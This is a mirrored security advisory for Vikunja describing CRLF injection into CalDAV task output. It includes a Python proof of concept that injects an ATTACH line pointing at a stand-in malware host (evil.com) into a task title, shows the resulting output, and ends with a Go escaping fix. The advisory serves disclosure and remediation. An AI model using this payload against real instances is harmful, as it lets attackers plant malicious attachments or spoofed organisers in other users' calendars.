Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 468/469 docs · 8/9 advisories · checked 01:01 UTC Customize Public modeDiscuss ChangeIntel on Discord

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-2g7h-7rqr-9p4r

Published

## Summary The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`. ## Details The `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output: ```go SUMMARY:` + t.Summary + getCaldavColor(t.Color) ``` RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\n`, semicolons as `\;`, commas as `\,`, and backslashes as `\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields. Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests from requests.auth import HTTPBasicAuth TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json() # create task with CRLF injection in title task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned" }).json() # set UID (normally done by CalDAV sync; here via sqlite for PoC) # sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};" TASK_UID = "inject-test-001" # fetch via CalDAV caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"] r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics", auth=HTTPBasicAuth("alice", caldav_token)) print(r.text) ``` Output: ``` BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:inject-test-001 DTSTAMP:20260327T130452Z SUMMARY:Meeting ATTACH:https://evil.com/malware.exe X-INJECTED:pwned CREATED:20260327T130452Z LAST-MODIFIED:20260327T130452Z END:VTODO END:VCALENDAR ``` The `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties. ## Impact An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables: - Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display - Creating fake alarm notifications (`VALARM`) for social engineering - Spoofing organizer identity (`ORGANIZER`) ## Recommended Fix Apply RFC 5545 TEXT value escaping to all user-controlled fields: ```go func escapeICal(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, ";", "\\;") s = strings.ReplaceAll(s, ",", "\\,") s = strings.ReplaceAll(s, "\n", "\\n") s = strings.ReplaceAll(s, "\r", "") return s } ``` Apply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`. --- *Found and reported by [aisafe.io](https://aisafe.io)*

Source published
10 Apr 2026 15:35:05 UTC
Source modified
8 Jun 2026 20:08:35 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 30 Oct 01:01 UTC · 272 of 272 readable · 271 fully read · documentation 468/469 current